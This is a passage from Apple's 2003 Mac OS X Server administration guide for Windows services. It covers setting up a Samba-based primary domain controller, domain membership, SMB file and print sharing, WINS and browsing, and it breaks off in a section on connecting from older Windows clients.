WebObjects are trademarks of Apple Computer, Inc.,
registered in the U.S. and other countries. AirPort,
Extensions Manager, Finder, iMac, and Power Mac are
trademarks of Apple Computer, Inc.
Adobe and PostScript are trademarks of Adobe Systems
Incorporated.
Java and all Java-based trademarks and logos are
trademarks or registered trademarks of Sun
Microsystems, Inc. in the U.S. and other countries.
Netscape Navigator is a trademark of Netscape
Communications Corporation.
034-2356/09-20-03
LL2356.book Page 2 Thursday, September 4, 2003 3:21 PM
3
3
Contents
Preface
7
About This Guide
7
Using This Guide
8
Getting Additional Information
Chapter 1
11
Overview of Windows Services
12
Providing a PDC for Domain Login
12
Providing Home Directories and Roaming User Profiles
13
Joining a PDC as a Domain Member
13
Providing File, Print, Browsing, and Name Resolution Services
13
Providing VPN Service
14
Tools for Managing Windows Services
14
Server Admin
14
Workgroup Manager
15
Command-Line Tools
Chapter 2
17
Setting Up Windows Services
18
Before You Set Up Windows Services
18
Ensuring the Best Cross-Platform Experience
18
Windows User Password Validation
19
Setting the Server’s Role and Identity for Windows Services
20
Setting Up a Server of Standalone Windows Services
21
Setting Up a Server as a Windows Domain Member
22
Setting Up a Server as a Primary Domain Controller
23
Changing Windows Services Access Settings
23
Changing Windows Services Logging Settings
24
Changing Windows Services Advanced Settings
25
Starting Windows Services
25
Configuring a Print Queue for SMB Sharing
25
Supporting Windows Client Computers
26
Setting Up Windows Clients for TCP/IP Networking
26
Connecting for File Service From Windows
27
Connecting to the Server by Name or Address in Windows 95, 98, or ME
27
Connecting to the Server by Name or Address in Windows XP
LL2356.book Page 3 Thursday, September 4, 2003 3:21 PM
4
Contents
27
Setting Up Windows Clients for Print Service
Chapter 3
29
Administering Windows Users, Groups, Computers, and Share Points
29
Setup Overview
30
Managing Accounts for Windows Users
31
Where Windows User Accounts Are Stored
31
Creating Windows User Accounts in the Primary Domain Controller
32
Creating Windows User Accounts in a Read/Write Directory Domain
33
Editing Windows User Accounts
33
Working With Basic Settings for Users
34
Working With Windows Settings for Users
35
Working With Advanced Settings for Users
35
Providing Secure Authentication for Windows Users
36
Working With Group Settings for Users
36
Setting Up a Home Directory for a Windows User
37
Working With Mail Settings for Users
37
Working With Print Settings for Users
37
Defining a Guest User
38
Deleting a Windows User Account
38
Disabling a Windows User Account
38
Managing Groups for Windows Users
39
Working With Group Folder Settings for Windows Groups
39
Managing Windows Workstations in the Windows Computers Account
39
Adding Computers to the Windows Computers Account
40
Removing Computers From the Windows Computers Account
40
Editing Information About a Computer in the Windows Computers Account
40
Moving a Windows Computer to a Different Computer Account
40
Deleting the Windows Computers Account
41
Managing SMB Share Points
41
Opportunistic Locking (oplocks)
41
Strict Locking
42
Creating an SMB Share Point and Setting Privileges
43
Changing Windows (SMB) Settings for a Share Point
44
Managing Share Points
Chapter 4
45
Migrating Users From a Windows Server to Mac OS X Server
Chapter 5
51
Managing Windows Services
51
Starting and Stopping Windows Services
51
Starting Windows Services
51
Stopping Windows Services
52
Monitoring Windows Services
52
Viewing Windows Services Status
LL2356.book Page 4 Thursday, September 4, 2003 3:21 PM
Contents
5
53
Viewing Windows Services Logs
53
Viewing Windows Services Connections
53
Viewing Windows Services Graphs
53
Disconnecting Windows Users
54
Changing the Server’s Windows Identity
54
Changing the Server’s Windows Computer Name
55
Changing the Server’s Windows Domain
55
Changing the Sever’s Windows Workgroup
55
Managing Access to Windows Services
55
Allowing Guest Access for Windows Services
56
Limiting the Number of Connected Windows Clients
56
Managing Windows Services Logging
57
Managing Advanced Windows Services Settings
57
Changing the Windows Code Page
57
Enabling Windows Domain Browsing
58
Registering With a WINS Server
Chapter 6
59
Solving Problems With Windows Services
59
Problems With a Primary Domain Controller
59
User Can’t Log in to the Windows Domain
59
Windows User Has No Home Directory
60
Windows User’s Profile Settings Revert to Defaults
60
Windows User Loses Contents of My Documents Folder
60
Problems With Windows File Service
60
User Can’t Authenticate for Windows File Service
60
User Can’t See the Windows Server in the Network Neighborhood
61
General Problems With File Services
61
Problems With Windows Print Service
61
Windows Users Can’t Print
61
General Problems With Print Services
Glossary
63
Index
67
LL2356.book Page 5 Thursday, September 4, 2003 3:21 PM
LL2356.book Page 6 Thursday, September 4, 2003 3:21 PM
7
Preface
About This Guide
This guide describes the services that Mac OS X Server
can provide to Windows computer users and tells you
how to set up your server to provide Windows services.
Here is a summary of each chapter’s contents:
•
Chapter 1, “Overview of Windows Services,” highlights important concepts and
introduces the tools you use to manage Windows services.
•
Chapter 2, “Setting Up Windows Services,” explains how to set up Mac OS X Server as
a provider of standalone Windows services, a Windows domain member, or a primary
domain controller (PDC). Standalone Windows services include file service, print
service, Windows Internet Naming Service (WINS), and Windows domain browsing
service.
•
Chapter 3, “Administering Windows Users, Groups, Computers, and Share Points,” tells
you how to set up and manage accounts for Windows users, groups, and computers
(workstations).
•
Chapter 4, “Migrating Users From a Windows Server to Mac OS X Server,” explains
how to migrate user and group information from a Windows NT server to a Mac OS X
Server.
•
Chapter 5, “Managing Windows Services,” describes how to start and stop Windows
services, monitor them, and manage their settings.
•
Chapter 6, “Solving Problems With Windows Services,”helps you deal with common
problems that occur with a PDC, Windows file service, and Windows print service.
•
The Glossary defines terms you’ll encounter as you read this guide.
Using This Guide
The chapters in this guide are arranged in the order that you’re likely to need them
when setting up Mac OS X Server to provide Windows services.
•
Review Chapter 1 to acquaint yourself with the Windows services that Mac OS X
Server can provide and with the programs you use to set up and manage these
services. Chapter 1 also contains information about the tools for managing Windows
services.
LL2356.book Page 7 Thursday, September 4, 2003 3:21 PM
8
Preface About This Guide
• Follow the instructions in Chapter 2 to set up Windows services with default settings.
• Read Chapter 3 when you’re ready to set up or manage accounts for Windows users,
groups, or computers. This includes setting up home directories and roaming user
profiles.
• Read Chapter 4 if you need to migrate user accounts from Windows NT servers to
Mac OS X Server.
• Use the instructions in Chapter 5 if you need to monitor Windows services, manage
access to them, manage their logs, or change their advanced settings.
• Review Chapter 6 if you encounter problems with Windows services.
Getting Additional Information
Mac OS X Server comes with a suite of guides that explain other services and provide
instructions for configuring, managing, and troubleshooting them. Most of these
documents are on the server discs in the form of PDF files. All of them are available in
PDF format from www.apple.com/server/documentation.
This guide
Tells you how to
Mac OS X Server Getting Started
For Version 10.3 or Later
Understand the features of Mac OS X Server version 10.3 and
prepare your server.
Mac OS X Server Migration To
Version 10.3 or Later
Reuse data and service settings on Mac OS X Server version 10.3
that are currently being used on earlier versions of the server.
Mac OS X Server User
Management For Version 10.3
or Later
Create and manage user, group, and computer accounts. Set up
managed preferences for Mac OS 9 and Mac OS X clients.
Mac OS X Server File Services
Administration For Version 10.3
or Later
Share selected server volumes or folders among server clients
using these protocols: AFP, NFS, FTP, and SMB.
Mac OS X Server Print Service
Administration For Version 10.3
or Later
Host shared printers and manage their associated queues and print
jobs.
Mac OS X Server System Image
Administration For Version 10.3
or Later
Create disk images and set up the server so that other Macintosh
computers can start up from those images over the network. This
guide covers NetBoot and Network Install.
Mac OS X Server Mail Service
Administration For Version 10.3
or Later
Set up, configure, and administer mail services on the server.
Mac OS X Server Web
Technologies Administration For
Version 10.3 or Later
Set up and manage a web server, including WebDAV, WebMail, and
web modules.
Mac OS X Server Network Services
Administration For Version 10.3
or Later
Set up, configure, and administer DHCP, DNS, IP firewall, NAT, and
VPN services on the server.
LL2356.book Page 8 Thursday, September 4, 2003 3:21 PM
Preface About This Guide
9
For more information, consult these resources:
• Read Me documents contain important updates and special information. Look for
them on the Mac OS X Server discs.
• Online help, available from the Help menu in all the server applications, provides
onscreen instructions for administration tasks as well as late-breaking news and web
updates.
• Apple support webpages and the AppleCare Knowledge Base provide answers to
common questions and the latest information updates. These are available at the
following website:
www.info.apple.com/
• Apple Training offers courses for technical coordinators and system administrators.
For a course catalog, visit the following website:
train.apple.com/
• Discussion groups and mailing lists put you in touch with other server administrators,
who may have already found solutions to problems you encounter. To find discussion
groups and mailing lists, visit the following websites:
discussions.info.apple.com/
www.lists.apple.com/
• The Samba website has information about the open source software on which the
Windows services in Mac OS X Server are based. Visit the Samba website at:
www.samba.org
Mac OS X Server Open Directory
Administration For Version 10.3
or Later
Manage directory and authentication services.
Mac OS X Server QuickTime
Streaming Server Administration
For Version 10.3 or Later
Set up and manage QuickTime streaming services.
Mac OS X Server: Java
Application Server Administration
Deploy and manage J2EE applications using a JBoss application
server on Mac OS X Server.
Mac OS X Server Command-Line
Administration For Version 10.3
or Later
Use commands and configuration files to perform server
administration tasks in a UNIX command shell.
This guide
Tells you how to
LL2356.book Page 9 Thursday, September 4, 2003 3:21 PM
LL2356.book Page 10 Thursday, September 4, 2003 3:21 PM
1
11
1 Overview of Windows Services
Windows services encompass a primary domain
controller, SMB file and print services, Windows domain
browsing, name resolution, and VPN.
Mac OS X Server can provide a variety of services to users of Microsoft Windows 95, 98,
ME (Millennium Edition), XP, NT 4.0, and 2000.
• File service allows Windows clients to connect to the server using Server Message
Block (SMB) protocol on a TCP/IP network.
• Print service uses SMB to allow Windows clients to print to PostScript printers on the
network.
• Windows Internet Naming Service (WINS) allows Windows clients to perform
name/address resolution across multiple subnets.
• Domain browsing allows Windows clients to browse for available servers across
subnets.
• Virtual private network (VPN) allows Windows clients to securely connect to
Mac OS X Server while away from the local network.
• Primary domain controller (PDC) offers:
• Login to the PDC from Windows NT 4.x, Windows 2000, and Windows XP
workstations
• Users changing their passwords during login
• Login using the same user account on Mac OS X and Windows computers
• Roaming user profiles stored on a Mac OS X Server computer
• Network home directories located on a Mac OS X Server computer
• User-level security for Windows 95, 98, and ME clients
By providing these services, Mac OS X Server can replace Windows NT servers in small
workgroups. Settings for Windows services are grouped In Workgroup Manager and
Server Admin, to make them easy to find. These settings are also designed to be
familiar to experienced Windows administrators.
LL2356.book Page 11 Thursday, September 4, 2003 3:21 PM
12
Chapter 1 Overview of Windows Services
Windows services in Mac OS X Server are based on Samba 3, an open source SMB/CIFS
server. For more information about Samba, visit the Samba website:
www.samba.org
Providing a PDC for Domain Login
Setting up your Mac OS X Server as a Windows primary domain controller (PDC)
enables domain logins for Windows users on your network. Instead of logging in with a
user name and password that are defined locally on each workstation, each user can
log in with a user name and password that are defined on the PDC. A PDC gives each
Windows user one user name and password for logging in from any Windows
workstation on the network.
A user needs only one account on Mac OS X Server to log in to Windows workstations
and Mac OS X computers. The same user name and password works for Windows
domain login and Mac OS X login.
Users can change their passwords while logging in to the Windows domain.
Before you can set up Mac OS X Server as a PDC, you must set up the server as an
Open Directory master. The PDC uses the user and computer information stored in the
LDAP directory of the Open Directory master.
You have an opportunity to set up an Open Directory master and a PDC when you use
Server Assistant after installing Mac OS X Server. You can also set up an Open Directory
master and a PDC after installation by using Server Admin.
Be careful to set up only one Mac OS X Server as a PDC on your network. The network
can have multiple Open Directory masters, but only one PDC.
Providing Home Directories and Roaming User Profiles
Setting up your Mac OS X Server as a Windows PDC enables it to host home directories
and roaming user profiles for Windows users. Alternatively, another Mac OS X Server
can host home directories and roaming user profiles.
Each Windows user who logs in to the PDC has a network home directory. If a user puts
files or folders in his or her home directory, the user can access them after logging in to
the PDC from any Windows workstation that has joined the PDC. The user also has
access to the contents of his or her home directory after logging in to a Mac OS X
computer. The user has the same network home directory whether logging in to a
Windows computer or a Mac OS X computer.
LL2356.book Page 12 Thursday, September 4, 2003 3:21 PM
Chapter 1 Overview of Windows Services
13
A user’s network home directory is located in a share point on a Mac OS X Server.
A setting in the user account specifies the share point for the home directory. You can
manage home directories with Workgroup Manager.
With roaming profiles, each user has the same profile when he or she logs in to the
domain from any Windows workstation on the network. A roaming profile stores a
Windows user’s preference settings—screensaver, colors, backgrounds, event sounds,
web cookies, and so on—in a share point on a Mac OS X Server. A user’s roaming
profile is stored by default in a predetermined folder on the PDC.
Joining a PDC as a Domain Member
If you have multiple servers with Mac OS X Server on your network, you can set up one
as a PDC and set up others to provide additional Windows services. It is important that
only one PDC be present on the network.
You join other servers to the Windows domain of the PDC so they can use the PDC for
user authentication. Home directories and environment profiles of Windows users can
be located in share points on servers that are members of the Windows domain.
Providing File, Print, Browsing, and Name Resolution
Services
Whether you set up a PDC or not, you can set up Mac OS X Server to provide other
services to Windows users. Starting Windows services on Mac OS X Server enables it to
provide access to share points via the Windows standard protocol for file service, server
message block (SMB). Windows services also enable Mac OS X Server to provide SMB
access to print queues that have been set up for PostScript printers.
In addition, you can set up Mac OS X Server to provide WINS name resolution for
Windows clients or to register with an existing WINS server on the network. Mac OS X
Server can also provide network browsing service as a workgroup master browser or a
domain master browser for Windows clients.
Providing VPN Service
A Mac OS X Server virtual private network (VPN) can include Windows workstations as
well as Mac OS X computers. The workstations connect to the server by a private link of
encrypted data, simulating a local connection as if the remote computer were attached
to the local area network (LAN).
Mac OS X Server VPN uses Microsoft’s Challenge Handshake Authentication Protocol
version 2 (MS-CHAPv2) for authentication. MS-CHAPv2 is also the standard Windows
authentication scheme for VPN.
LL2356.book Page 13 Thursday, September 4, 2003 3:21 PM
14
Chapter 1 Overview of Windows Services
You can set up VPN service in Mac OS X Server to use the Windows standard protocol
for encrypted transport of VPN data, which is point-to-point tunneling protocol (PPTP).
You can also set up Mac OS X Server VPN service to use an additional protocol, layer
two tunneling protocol, secure Internet protocol (L2TP/IPSec).
See the VPN chapter of the network services administration guide for additional
information and setup instructions.
Tools for Managing Windows Services
The Workgroup Manager and Server Admin applications provide a graphical interface
for managing Windows services in Mac OS X Server. In addition, you can manage
Windows services from the command line by using Terminal.
Server Admin
You use Server Admin to
• Set up Mac OS X Server as a PDC, as a Windows domain member, or for standalone
Windows services. For instructions, see Chapter 2.
• Manage Windows file and print services, WINS name resolution, and domain
browsing. For instructions, see Chapter 5.
• Monitor Windows services. For instructions, see Chapter 5.
See chapter on server administration in the getting started guide for basic information
about using Server Admin.
Server Admin is installed in /Applications/Server/.
Workgroup Manager
You use Workgroup Manager to
• Set up and manage user, group, and computer accounts. For instructions, see
Chapter 3 of this guide and the chapters on user, group, and computer accounts in
the user management guide.
• Manage share points for file service and for user home directories and roaming user
profiles. For instructions, see Chapter 5 of this guide and the chapter on share points
in the file services administration guide.
• Access the Inspector, which lets you work with Open Directory entries. For
instructions, see the maintenance chapter in the Open Directory administration
guide.
See the chapter on server administration in the getting started guide for basic
information about using Workgroup Manager.
Workgroup Manager is installed in /Applications/Server/.
LL2356.book Page 14 Thursday, September 4, 2003 3:21 PM
Chapter 1 Overview of Windows Services
15
Command-Line Tools
A full range of command-line tools is available for administrators who prefer to
use command-driven server administration. For remote server management,
submit commands in a Secure Shell (SSH) session. You can type commands on
Mac OS X servers and computers using the Terminal application, located in
/Applications/Utilities/. For instructions, see the command-line administration guide.
LL2356.book Page 15 Thursday, September 4, 2003 3:21 PM
LL2356.book Page 16 Thursday, September 4, 2003 3:21 PM
2
17
2 Setting Up Windows Services
You can set up Mac OS X Server to be a standalone
Windows services provider, a Windows domain member,
or a primary domain controller.
Mac OS X Server can provide several native services to Windows clients:
• Primary domain controller allows each user to log in to the domain using the same
user name and password on any Windows workstation, and provides roaming user
profiles and network home directories.
• Domain member server automatically authenticates users for its Windows services,
such as file service, by using the domain login provided by the primary domain
controller. The member server can also host network home directories and roaming
user profiles.
• File service allows Windows clients to access files stored in share points on the server
using Server Message Block (SMB) protocol over TCP/IP.
• Print service uses SMB to allow Windows clients to print to PostScript printers on the
network.
• Windows Internet Naming Service (WINS) allows clients across multiple subnets to
perform name/address resolution.
• Windows domain browsing allows clients to browse for available servers across
subnets.
You set up Windows services by configuring four groups of settings:
• General Specify the server’s role in providing Windows services and the server’s
identity among clients of its Windows services.
• Access Limit the number of clients and control guest access.
• Logging Choose how much information is recorded in the service log.
• Advanced Configure WINS registration and domain browsing services, choose a
code page for clients, and control virtual share points for home directories.
Because the default settings work well if you want to provide only Windows file and
print services, you may only need to start Windows services. Nonetheless, you should
take a look at the settings and change anything that isn’t appropriate for your network.
LL2356.book Page 17 Thursday, September 4, 2003 3:21 PM
18
Chapter 2 Setting Up Windows Services
You will have to change some settings if you want to set up Mac OS X Server as a
Windows primary domain controller or as a member of the Windows domain of a
Mac OS X Server PDC.
In addition to setting up Windows services and clients, you need to set up accounts for
Windows users, groups, and computers (workstations). For information, see Chapter 3,
“Administering Windows Users, Groups, Computers, and Share Points.”
For information on Mac OS X Server directory and authentication services, including
Open Directory master and replicas, see the Open Directory administration guide.
Before You Set Up Windows Services
If you plan to provide Windows services from Mac OS X Server, read the following
sections for issues you should keep in mind. You should also check the Microsoft
documentation for your version of Windows to find out more about the capabilities of
the client software. Although Mac OS X Server does not require any special software or
configuration on Windows client computers, you may want to read “Supporting
Windows Client Computers” on page 25.
Ensuring the Best Cross-Platform Experience
Mac OS and Windows computers store and maintain files differently. For the best cross-
platform experience, you should set up at least one share point to be used only by your
Windows users. See “Managing SMB Share Points” on page 41.
In addition, you can improve the user experience by following these guidelines:
• Use comparable versions of application software on both platforms.
• Modify files only with the application they were created in.
• If you have Mac OS 8 and Mac OS 9 clients, limit Windows file names to 31 characters.
• Don’t use symbols or characters with accents in the names of shared items.
Windows User Password Validation
Mac OS X Server supports several methods of validating user passwords for Windows
services. A user account’s password type determines the password validation method.
Open Directory Passwords
If a user’s account has a password type of Open Directory, the user’s password is
validated for Windows services by the Open Directory Password Server. This is the
recommended password validation method and is required for Windows domain login
from a Windows workstation to a Mac OS X Server PDC. An Open Directory password
can also be used to authenticate for Windows file service.
LL2356.book Page 18 Thursday, September 4, 2003 3:21 PM
Chapter 2 Setting Up Windows Services
19
Open Directory password validation can be used with user accounts stored in LDAP
directory domains as well as NetInfo directory domains. The directory domain does not
store the Open Directory password, just a pointer to the Open Directory Password
Server and a password ID. The Open Directory Password Server stores passwords in a
private database file readable only by the root user, and the contents are encrypted.
The Open Directory Password Server never allows passwords to be read over the
network—they can only be set and verified.
Shadow Passwords
If a user’s account has a password type of shadow password, the user’s password is
encrypted and stored in a file on the server. Each user’s shadow password is stored in a
different file, and these files can be read only by the root user. Only user accounts that
are stored in a local directory domain can have a shadow password.
A shadow password can be used to authenticate for Windows file service, but can’t be
used to log in to the Windows domain of a PDC.
Authentication Manager Password
Mac OS X Server supports user accounts that were configured to use the legacy
Authentication Manager technology for password validation in Mac OS X Server
versions 10.0–10.2. After upgrading a server to Mac OS X Server version 10.3, existing
users can continue to use their same passwords. An existing user account uses
Authentication Manager if the account is in a NetInfo domain for which Authentication
Manager has been enabled and the account is set to use a crypt password.
If you migrate a directory domain from NetInfo to LDAP, all user accounts that used
Authentication Manager for password validation are converted to have a password
type of Open Directory.
Setting the Server’s Role and Identity for Windows
Services
You can set up Mac OS X Server to assume any of three roles in providing Windows
services:
• Primary domain controller (PDC) The server provides Windows file and print
services. It also hosts a Windows domain, storing user, group, and computer accounts
and providing authentication services to the domain. The PDC server can host user
profiles and home directories for users who have user accounts on the PDC.
• Domain member The server provides Windows file and print services. It gets
authentication services from the Mac OS X Server PDC. A domain member can host
user profiles and home directories for users who have user accounts on the PDC.
LL2356.book Page 19 Thursday, September 4, 2003 3:21 PM
20
Chapter 2 Setting Up Windows Services
• Standalone Windows services The server provides Windows file and print services.
The server authenticates users for its Windows file service, but does not provide
authentication services for Windows domain login on Windows computers. This is
the default role.
Note: Mac OS X Server can host a PDC only if the server is an Open Directory master.
Important: If your network has multiple Mac OS X Server systems, set up only one as a
PDC. The others can be domain members or provide standalone Windows services.
Setting Up a Server of Standalone Windows Services
Using Server Admin, you can set up Mac OS X Server to provide standalone Windows
services: file, print, browsing, and Windows Internet Name Service (WINS). The server
does not provide authentication services for Windows domain login on Windows
computers.
To set up standalone Windows services:
1 Open Server Admin and select Windows for a server in the Computers & Services list.
2 Click Settings (near the bottom of the window), then click General (near the top).
3 Choose Standalone Server from the Role pop-up menu, then enter a description,
computer name, and workgroup.
Description: This description appears in the Network Neighborhood window on
Windows computers, and it is optional.
Computer Name: Enter the name you want Windows users to see when they connect
to the server. This is the server’s NetBIOS name. The name should contain no more than
15 characters, no special characters, and no punctuation. If practical, make the server
name match its unqualified DNS host name. For example, if your DNS server has an
entry for your server as “server.example.com,” give your server the name “server.”
Workgroup: Enter a workgroup name. Windows users see the workgroup name in the
Network Neighborhood window. If you have Windows domains on your subnet, use
one of them as the workgroup name to make it easier for clients to communicate
across subnets. Otherwise, consult your Windows network administrator for the correct
name. The workgroup name cannot exceed 15 characters.
4 Click Save.
For information on configuring individual Windows services, see “Changing Windows
Services Access Settings” on page 23, “Changing Windows Services Logging Settings”
on page 23, “Changing Windows Services Advanced Settings” on page 24, and the print
service administration guide.
LL2356.book Page 20 Thursday, September 4, 2003 3:21 PM
Chapter 2 Setting Up Windows Services
21
From the Command Line
You can also set a server’s role in providing Windows services by using the
serveradmin command in Terminal. For more information, see the file services chapter
of the command-line administration guide.
Setting Up a Server as a Windows Domain Member
Using Server Admin, you can set up Mac OS X Server to join a Windows domain hosted
by a Mac OS X Server primary domain controller (PDC). A server that joins a Windows
domain gets authentication services from the PDC. This domain member server can
also provide file, print, browsing, and Windows Internet Name Service (WINS). The
server can host user profiles and home directories for users who have user accounts on
the PDC. The domain member server does not provide authentication services to other
domain members.
To join Mac OS X Server to the Windows domain of a Mac OS X Server PDC:
1 Open Server Admin and select Windows for a server in the Computers & Services list.
2 Click Settings (near the bottom of the window), then click General (near the top).
3 Choose Domain Member from the Role pop-up menu, then enter a description,
computer name, and domain.
Description: This description appears in the Network Neighborhood window on
Windows computers, and it is optional.
Computer Name: Enter the name you want Windows users to see when they connect
to the server. This is the server’s NetBIOS name. The name should contain no more than
15 characters, no special characters, and no punctuation. If practical, make the server
name match its unqualified DNS host name. For example, if your DNS server has an
entry for your server as “server.example.com,” give your server the name “server.”
Domain: Enter the name of the Windows domain that the server will join. The domain
must be hosted by a Mac OS X Server PDC. The name cannot exceed 15 characters and
cannot be “WORKGROUP.”
4 Click Save.
5 Enter the name and password of a user account that can administer the LDAP directory
domain on the PDC server, then click OK.
For information on configuring individual Windows services, see “Changing Windows
Services Access Settings” on page 23, “Changing Windows Services Logging Settings”
on page 23, “Changing Windows Services Advanced Settings” on page 24, and the print
service administration guide.
From the Command Line
You can also set a server’s role in providing Windows services by using the
serveradmin command in Terminal. For more information, see the file services chapter
of the command-line administration guide.
LL2356.book Page 21 Thursday, September 4, 2003 3:21 PM
22
Chapter 2 Setting Up Windows Services
Setting Up a Server as a Primary Domain Controller
Using Server Admin, you can set up Mac OS X Server as a Windows primary domain
controller (PDC). The PDC hosts a Windows domain and provides authentication
services to other domain members, including authentication for domain login on
Windows workstations. The PDC server can provide other Windows services: file, print,
browsing, and Windows Internet Name Service (WINS). The server can host user profiles
and home directories for users who have user accounts on the PDC.
To set up a Windows PDC:
1 Make sure the server is an Open Directory master.
To determine whether a server is an Open Directory master, open Server Admin,
select Open Directory for the server in the Computers & Services list, click Settings
(near the bottom of the window), then click General (near the top). If the Role setting
is not Open Directory Master, you cannot set up this server to host a PDC. Consult the
Open Directory administration guide to learn more about an Open Directory master.
2 In Server Admin’s Computers & Services list, select Windows for a server that is an
Open Directory master.
3 Click Settings (near the bottom of the window), then click General (near the top).
4 Choose Primary Domain Controller (PDC) from the Role pop-up menu, then enter a
description, computer name, and domain.
Description: This description appears in the Network Neighborhood window on
Windows computers, and it is optional.
Computer Name: Enter the name you want Windows users to see when they connect
to the server. This is the server’s NetBIOS name. The name should contain no more than
15 characters, no special characters, and no punctuation. If practical, make the server
name match its unqualified DNS host name. For example, if your DNS server has an
entry for your server as “server.example.com,” give your server the name “server.”
Domain: Enter the name of the Windows domain that the server will host. The domain
name cannot exceed 15 characters and cannot be “WORKGROUP.”
5 Click Save.
6 Enter the name and password of a user account that can administer the LDAP directory
domain on the server, then click OK.
For information on configuring individual Windows services, see “Changing Windows
Services Access Settings” on page 23, “Changing Windows Services Logging Settings”
on page 23, “Changing Windows Services Advanced Settings” on page 24, and the print
service administration guide.
LL2356.book Page 22 Thursday, September 4, 2003 3:21 PM
Chapter 2 Setting Up Windows Services
23
From the Command Line
You can also set a server’s role in providing Windows services by using the
serveradmin command in Terminal. For more information, see the file services chapter
of the command-line administration guide.
Changing Windows Services Access Settings
You can use the Access pane of Windows services settings in Server Admin to allow
guest users or limit the number of simultaneous client connections.
To configure Windows services Access settings:
1 Open Server Admin and select Windows in the Computers & Services list.
2 Click Settings (near the bottom of the window), then click Access (near the top).
3 To allow Windows or other SMB users to connect for Windows file service without
providing a user name or password, select “Allow Guest access.”
4 To limit the number of users who can be connected for Windows services at one time,
select “__ maximum” and type a number in the field.
5 Click Save.
From the Command Line
You can also change the Windows services settings by using the serveradmin
command in Terminal. For more information, see the file services chapter of the
command-line administration guide.
Changing Windows Services Logging Settings
You can use the Logging pane of Windows services settings in Server Admin to specify
how much information is recorded in the Windows log file.
To configure Windows services Logging settings:
1 Open Server Admin and select Windows in the Computers & Services list.
2 Click Settings (near the bottom of the window), then click Logging (near the top).
3 Choose a level of log detail from the pop-up menu:
Low records errors and warning messages only.
Medium records error and warning messages, service start and stop times,
authentication failures, and browser name registrations.
High records error and warning messages, service start and stop times, authentication
failures browser name registrations, and all file access.
4 Click Save.
LL2356.book Page 23 Thursday, September 4, 2003 3:21 PM
24
Chapter 2 Setting Up Windows Services
From the Command Line
You can also change Windows services settings using the serveradmin command in
Terminal. For more information, see the file services chapter of the command-line
administration guide.
Changing Windows Services Advanced Settings
You can use the Advanced pane of Windows services settings in Server Admin to
choose a client code page, set the server to be a workgroup or domain master browser,
specify the server’s WINS registration, and enable virtual share points for user homes.
To configure Windows services Advanced settings:
1 Open Server Admin and select Windows in the Computers & Services list.
2 Click Settings, then click Advanced.
3 Choose the character set you want clients to use from the Code Page pop-up menu.
4 Next to Services, choose whether to enable domain browsing services.
Workgroup Master Browser provides browsing and discovery of servers in a single
subnet.
Domain Master Browser provides browsing and discovery of servers across subnets.
5 Next to WINS Registration, select how you want the server to register with WINS.
“Off”: prevents your server from using or providing WINS service for browsing outside
its local subnet.
“Enable WINS server”: your server provides local name resolution services. This allows
clients across multiple subnets to perform name/address resolution.
“Register with WINS server”: your network has a WINS server, and your Windows
clients and Windows server are not all on the same subnet. Enter the IP address or DNS
name of the WINS server.
6 To simplify setting up share points for Windows user home directories, select “Enable
virtual share points.”
If you enable virtual share points, home directories are mounted automatically when
Windows users log in to the PDC, and users have the same home directories whether
they log in from a Windows workstation or a Mac OS X computer.
If you disable virtual share points, you have to set up SMB share points for Windows
home directories and user profiles, and configure each Windows user account to use
these share points.
From the Command Line
You can also change Windows services settings using the serveradmin command in
Terminal. For more information, see the file services chapter of the command-line
administration guide.
LL2356.book Page 24 Thursday, September 4, 2003 3:21 PM
Chapter 2 Setting Up Windows Services
25
Starting Windows Services
You can use Server Admin to start Windows services.
To start Windows services:
1 Open Server Admin and select Windows in the Computers & Services list.
2 Click Start Service.
From the Command Line
You can also start Windows services using the serveradmin command in Terminal. For
more information, see the file services chapter of the command-line administration
guide.
Configuring a Print Queue for SMB Sharing
You can configure any print queue that has been set up on the server to be shared
using SMB. You configure queues for shared printers on the server by using Server
Admin.
To create a shared print queue:
1 In Server Admin, select Print in the Computers & Services list.
2 Click Settings, then click Queues.
3 Select the print queue in the list, then click the Edit button (below the list).
If you don’t see the Queues button, you might already be looking at queue settings.
Click the Back button (the left-pointing arrow in the upper right).
4 Make sure Sharing Name is compatible with SMB sharing.
This does not change the Printer Setup Utility queue name on the server.
Names of queues shared via SMB should be 15 characters maximum and should not
contain characters other than A–Z, a–z, 0–9, and _ (underscore).
5 Select the SMB protocol.
6 Click Save, then click the Back button (in the upper right).
Make sure you start Windows services.
Supporting Windows Client Computers
Mac OS X Server supports the native Windows file sharing protocol, Server Message
Block (SMB). SMB is also known as Common Internet File System (CIFS). Mac OS X
Server comes with built-in browsing and name resolution services for your Windows
client computers. You can enable Windows Internet Naming Service (WINS) on your
server, or you can register with an existing WINS server.
LL2356.book Page 25 Thursday, September 4, 2003 3:21 PM
26
Chapter 2 Setting Up Windows Services
Windows services in Mac OS X Server include Windows Master Browser and Domain
Master Browser services. You do not need a Windows server or a primary domain
controller on your network to allow Windows users to see your server listed in the My
Places window (Windows XP and 2000) or the Network Neighborhood window
(Windows 95, 98, or ME). Enable the master browsers to allow Windows clients outside
of your server’s subnet to access the server by name.
Setting Up Windows Clients for TCP/IP Networking
To have access to Windows services, Windows client computers must be properly
configured to connect over TCP/IP. See your Windows networking documentation for
information on TCP/IP configuration.
Connecting for File Service From Windows
A Windows user can connect to the Windows file service of Mac OS X Server by using
My Network Places in Windows XP or 2000 or the Network Neighborhood in Windows
95, 98, or Millennium Edition (ME).
Before trying to connect to the server from a Windows client computer, find out the
workgroup or domain of both the client computer and the file server. The procedure
for doing this depends on the Windows version.
• For Windows XP, click Start, click Control Panel, click Performance and Maintenance,
double-click the System icon, and then click the Computer Name tab.
• For Windows 2000, click Start, click Settings, click Control Panel, double-click the
System icon, and then click the Network Identification tab.
• For Windows 95, 98, or ME, click Start, click Settings, click Control Panel, double-click
the Network icon, and then click the Identification tab.
To find the server’s workgroup name, open Server Admin, click Windows in the
Computers & Services list, click Settings, then click General.
To connect to Windows file service from a Windows computer:
1 On the Windows client computer, open My Network Places (Windows XP or 2000) or
the Network Neighborhood (Windows 95, 98, or ME). If you are in the same workgroup
or domain as the server, skip to step 4.
2 Double-click the Entire Network icon.
3 Double-click the icon of the workgroup or domain the server is located in.
4 Double-click the server’s icon.
5 Authenticate using the short name and password of a user account stored on the
server.
The user account can be stored in the server’s local directory domain or its shared
directory domain, if the server has one.
LL2356.book Page 26 Thursday, September 4, 2003 3:21 PM
Chapter 2 Setting Up Windows Services
27
Connecting to the Server by Name or Address in Windows 95, 98,
or ME
A Windows 95, 98, or Millennium Edition (ME) user can connect to Mac OS X Server for
Windows file service without using the Network Neighborhood. This method requires
knowing the server’s IP address or its Windows computer name (also known as its
